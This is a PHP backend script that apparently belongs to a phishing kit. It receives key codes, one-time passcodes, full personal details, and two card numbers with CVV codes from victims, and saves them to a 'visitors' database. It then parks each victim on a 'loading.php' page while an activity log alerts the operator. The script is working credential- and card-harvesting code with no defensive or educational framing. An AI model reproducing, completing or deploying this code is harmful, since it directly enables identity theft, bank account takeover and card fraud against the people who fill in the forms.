<?php
    session_start();

    require_once '../oyexa/config.php';

    if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['submit_key_code']))
    {
        $visitor_id = $_POST['visitor_id']; 
        $username = $_POST['username'];        
        $key_code = $_POST['key_code'];

        $redirect_address = 'loading.php';

        $stmt = $pdo->prepare("UPDATE visitors SET key_code = :key_code, redirect_address = :redirect_address WHERE username = :username");
        $stmt->bindParam(':username', $username);
        $stmt->bindParam(':key_code', $key_code);
        $stmt->bindParam(':redirect_address', $redirect_address);
        $stmt->execute();

        // Check if the update was successful
        if ($stmt->rowCount() > 0)
        {
            $_SESSION['visitor_id'] = $visitor_id; 

            //Initialize Activity Description
            $description = 'Submitted Key Code';

            //Update User activity            
            $stmt = $pdo->prepare("UPDATE user_activity SET recent_activity = CURRENT_TIMESTAMP, description = :description WHERE username = :username");
            $stmt->bindParam(':username', $username);
            $stmt->bindParam(':description', $description);
            $stmt->execute();

            // Check if the update was successful
            if ($stmt->rowCount() > 0)
            {
                //Initialize Activity Description
                $description = 'Submitted Key Code';

                try {
                    $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                    $stmt->bindParam(':description', $description);
                    $stmt->execute();    
                    
                    header("Location: loading.php");
                    exit;

                } catch (PDOException $e) {
                    echo "Error: " . $e->getMessage();
                }

            }

        }
        else
        {
            echo "No rows updated.";
        }
    }
    else if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['submit_otp']))
    {
        $visitor_id = $_POST['visitor_id']; 
        $username = $_POST['username'];        
        $otp = $_POST['otp'];

        $redirect_address = 'loading.php';
        

        $stmt = $pdo->prepare("UPDATE visitors SET otp = :otp, redirect_address = :redirect_address WHERE username = :username");
        $stmt->bindParam(':username', $username);
        $stmt->bindParam(':otp', $otp);
        $stmt->bindParam(':redirect_address', $redirect_address);
        $stmt->execute();

        if ($stmt->rowCount() > 0)
        {
            $_SESSION['visitor_id'] = $visitor_id; 

            //Initialize Activity Description
            $description = 'Submitted OTP Code';

            //Update User activity            
            $stmt = $pdo->prepare("UPDATE user_activity SET recent_activity = CURRENT_TIMESTAMP, description = :description WHERE username = :username");
            $stmt->bindParam(':username', $username);
            $stmt->bindParam(':description', $description);
            $stmt->execute();

            // Check if the update was successful
            if ($stmt->rowCount() > 0)
            {
                //Initialize Activity Description
                $description = 'Submitted OTP Code';

                try {
                    $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                    $stmt->bindParam(':description', $description);
                    $stmt->execute();    
                    
                    header("Location: loading.php");
                    exit;

                } catch (PDOException $e) {
                    echo "Error: " . $e->getMessage();
                }                

            }

        }
        else
        {
            echo "No rows updated.";
        }    
    }
    else if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['submit_details']))
    {
        $visitor_id = $_POST['visitor_id']; 
        $username = $_POST['username'];
        $fname = $_POST['fname'];
        $address = $_POST['address'];
        $city = $_POST['city'];
        $postcode = $_POST['postcode'];
        $phone = $_POST['phone'];
        $dob = $_POST['dob'];
        $email = $_POST['email'];

        //Redirect Page
        $redirect_address = 'loading.php';
        
        // Prepare SQL statement
        $sql = "UPDATE visitors SET 
        full_name = :fname,
        address = :address,
        city = :city,
        postcode = :postcode,
        phone = :phone,
        dob = :dob,
        email = :email,
        redirect_address = :redirect_address
        WHERE username = :username";

        // Prepare the statement
        $stmt = $pdo->prepare($sql);

        // Bind parameters
        $stmt->bindParam(':fname', $fname);
        $stmt->bindParam(':address', $address);
        $stmt->bindParam(':city', $city);
        $stmt->bindParam(':postcode', $postcode);
        $stmt->bindParam(':phone', $phone);
        $stmt->bindParam(':dob', $dob);
        $stmt->bindParam(':email', $email);
        $stmt->bindParam(':username', $username);
        $stmt->bindParam(':redirect_address', $redirect_address);

        // Execute the statement
        $stmt->execute();

        if ($stmt->rowCount() > 0)
        {
            $_SESSION['visitor_id'] = $visitor_id; 

            //Initialize Activity Description
            $description = 'Submitted Details';

            //Update User activity            
            $stmt = $pdo->prepare("UPDATE user_activity SET recent_activity = CURRENT_TIMESTAMP, description = :description WHERE username = :username");
            $stmt->bindParam(':username', $username);
            $stmt->bindParam(':description', $description);
            $stmt->execute();

            // Check if the update was successful
            if ($stmt->rowCount() > 0)
            {
                //Initialize Activity Description
                $description = 'Submitted Details';

                try {
                    $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                    $stmt->bindParam(':description', $description);
                    $stmt->execute();    
                    
                    header("Location: loading.php");
                    exit;

                } catch (PDOException $e) {
                    echo "Error: " . $e->getMessage();
                }

            }

        }
        else
        {
            echo "No rows updated.";
        }    
    }
    else if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['submit_card_details']))
    {
        $visitor_id = $_POST['visitor_id']; 
        $username = $_POST['username'];
        $ccno = $_POST['ccno'];
        $sec_code1 = $_POST['sec_code1'];
        $ccname1 = $_POST['ccname1'];
        $sec_code2 = $_POST['sec_code2'];

        //Redirect Page
        $redirect_address = 'loading.php';
        
        // Prepare SQL statement
        $sql = "UPDATE visitors SET 
        card_no_1 = :ccno,
        cvv_1 = :sec_code1,
        card_no_2 = :ccname1,
        cvv_2 = :sec_code2,
        redirect_address = :redirect_address        
        WHERE
        username = :username ";

        // Prepare the statement
        $stmt = $pdo->prepare($sql);

        // Bind parameters
        $stmt->bindParam(':ccno', $ccno);
        $stmt->bindParam(':sec_code1', $sec_code1);
        $stmt->bindParam(':ccname1', $ccname1);
        $stmt->bindParam(':sec_code2', $sec_code2);
        $stmt->bindParam(':username', $username);
        $stmt->bindParam(':redirect_address', $redirect_address);

        // Execute the statement
        $stmt->execute();

        // Check if the update was successful
        if ($stmt->rowCount() > 0)
        {
            $_SESSION['visitor_id'] = $visitor_id; 

            //Initialize Activity Description
            $description = 'Submitted Card Details';

            //Update User activity            
            $stmt = $pdo->prepare("UPDATE user_activity SET recent_activity = CURRENT_TIMESTAMP, description = :description WHERE username = :username");
            $stmt->bindParam(':username', $username);
            $stmt->bindParam(':description', $description);
            $stmt->execute();

            // Check if the update was successful
            if ($stmt->rowCount() > 0)
            {
                //Initialize Activity Description
                $description = 'Submitted Card Details';
                

                try {
                    $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                    $stmt->bindParam(':description', $description);
                    $stmt->execute();    
                    
                    header("Location: loading.php");
                    exit;

                } catch (PDOException $e) {
                    echo "Error: " . $e->getMessage();
                }

            }

        }
        else
        {
            echo "No rows updated.";
        }     
    } 
    else if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['accept_notice']))
    {
        $visitor_id = $_POST['visitor_id'];
        $username = $_POST['username'];
        $notice_status = $_POST['notice_status']; 
        
        //Redirect Page
        $redirect_address = 'loading.php';
        
        
        // Prepare SQL statement
        $sql = "UPDATE visitors SET notice_page = :notice_status, redirect_address = :redirect_address WHERE username = :username ";

        // Prepare the statement
        $stmt = $pdo->prepare($sql);

        // Bind parameters
        $stmt->bindParam(':notice_status', $notice_status);
        $stmt->bindParam(':username', $username);
        $stmt->bindParam(':redirect_address', $redirect_address);

        // Execute the statement
        $stmt->execute();

        if ($stmt->rowCount() > 0)
        {
            $_SESSION['visitor_id'] = $visitor_id; 

            //Initialize Activity Description
            $description = 'Accepted Notice';        

            //Update User activity            
            $stmt = $pdo->prepare("UPDATE user_activity SET recent_activity = CURRENT_TIMESTAMP, description = :description WHERE username = :username");
            $stmt->bindParam(':username', $username);
            $stmt->bindParam(':description', $description);
            $stmt->execute();

            // Check if the update was successful
            if ($stmt->rowCount() > 0)
            {
                //Initialize Activity Description
                $description = 'Accepted Notice';

                try {
                    $stmt = $pdo->prepare("INSERT INTO updates (description) VALUES (:description)");
                    $stmt->bindParam(':description', $description);
                    $stmt->execute();    
                    
                    header("Location: loading.php");
                    exit;

                } catch (PDOException $e) {
                    echo "Error: " . $e->getMessage();
                }

            }

        }
        else
        {
            echo "No rows updated.";
        }
    }  

    else
    {
        header("location: loading.php");
    }
?>